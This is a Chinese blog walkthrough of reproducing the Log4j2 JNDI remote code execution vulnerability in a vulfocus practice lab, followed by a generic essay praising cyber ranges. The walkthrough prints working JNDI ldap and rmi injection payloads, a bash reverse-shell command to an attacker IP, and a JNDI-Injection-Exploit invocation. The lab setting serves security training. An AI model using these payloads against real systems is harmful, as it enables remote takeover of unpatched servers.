(2022年12月最新)最详细vulfocus靶场 Log4j2远程命令执行漏洞复现

一、Apache Log4j2是什么?

Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。 在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。

二、漏洞大致利用流程:

1、向目标发送指定payload,目标对payload进行解析执行,然后会通过ldap链接远程服务,当ldap服务收到请求之后,将请求进行重定向到恶意 java class的地址。

2、目标服务器收到重定向请求之后,下载恶意class并执行其中的代码,从而执行系统命令。

三、复现过程

1、 先下载需要使用的工具

https://github.com/welk1n/JNDI-Injection-Exploit

访问靶场地址:
在这里插入图片描述

2、使用dnslog进行测试

dnslog地址:http://www.dnslog.cn/
使用如下payload:

${jndi:ldap://2r21sa.dnslog.cn}

将上面的payload使用url编码后,访问目标地址时,在payload=后面加上刚刚转换后的url代码,访问之后查看DNSlog是否有回显,有回显则表示存在漏洞
在这里插入图片描述

在这里插入图片描述

3、使用JNDI工具注入反弹shell

https://github.com/welk1n/JNDI-Injection-Exploit
现在攻击机上启动一个nc监听
在这里插入图片描述
Linux反弹shell指令如下:

bash -i >& /dev/tcp/xxx.24.230.15/6677 0>&1

将上面的反弹shell代码使用base64加密后复制到下面的代码中,后面的-A后面写启动监听的攻击机ip

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC1234eQ1uMjMwL1jE2NS82Njc3IDA+JjE=}|{base64,-d}|{bash,-i}" -A  XXX.24.230.15

攻击机执行上面的命令,执行后如下图:
在这里插入图片描述
将图中标红的地址复制下来,构造如下payload:

${jndi:rmi://XXX.24.230.XXX:1099/xvozci}

将其进行url编码
在这里插入图片描述
复制转换后的url格式payload,粘贴在目标url后面,进行访问,如下图:
在这里插入图片描述
此时发现已经攻击机与受害主机建立了连接
在这里插入图片描述
查看正在监听的nc,发现已经反弹了shell,使用如下命令查看flag,进行提交

ls /tmp

在这里插入图片描述

在这里插入图片描述

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
靶场,是指为信息安全人员提供实战演练、渗透测试和攻防对抗等训练环境的虚拟或实体场地。在不同的领域中,靶场扮演着重要的角色,尤其是在网络安全领域,靶场成为培养和提高安全专业人员技能的重要平台。 首先,靶场为安全从业者提供了一个模拟真实网络环境的平台。通过构建类似实际网络的拓扑结构、部署各种安全设备和应用,靶场可以模拟出多样化的网络攻防场景。这使得安全人员能够在安全的环境中进行实际操作,全面提升其实战能力。 其次,靶场是渗透测试和漏洞攻防演练的理想场所。在靶场中,安全专业人员可以模拟攻击者的行为,发现系统和应用的漏洞,并进行渗透测试,从而及时修复和改进防御机制。同时,这也为防御方提供了锻炼机会,通过对抗攻击提高防御能力。 靶场的搭建还促进了团队协作与沟通。在攻防对抗中,往往需要多人协同作战,团队成员之间需要密切配合,共同制定攻击和防御策略。这有助于培养团队合作意识,提高协同作战的效率。 此外,靶场为学习者提供了一个安全的学习环境。在靶场中,学生可以通过实际操作掌握安全知识,了解攻击技术和防御策略。这样的学习方式比传统的理论课程更加生动直观,有助于深化对安全领域的理解。 最后,靶场也是安全社区交流的平台。在靶场中,安全从业者可以分享攻防经验,交流最新的安全威胁情报,共同探讨解决方案。这有助于建立更广泛的安全社区,推动整个行业的发展。 总体而言,靶场在信息安全领域具有重要地位,为安全专业人员提供了实战演练的机会,促进了团队协作与沟通,为学习者提供了安全的学习环境,同时也是安全社区交流的重要平台。通过靶场的实践操作,安全从业者能够更好地应对不断演变的网络威胁,提高整体的安全水平。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值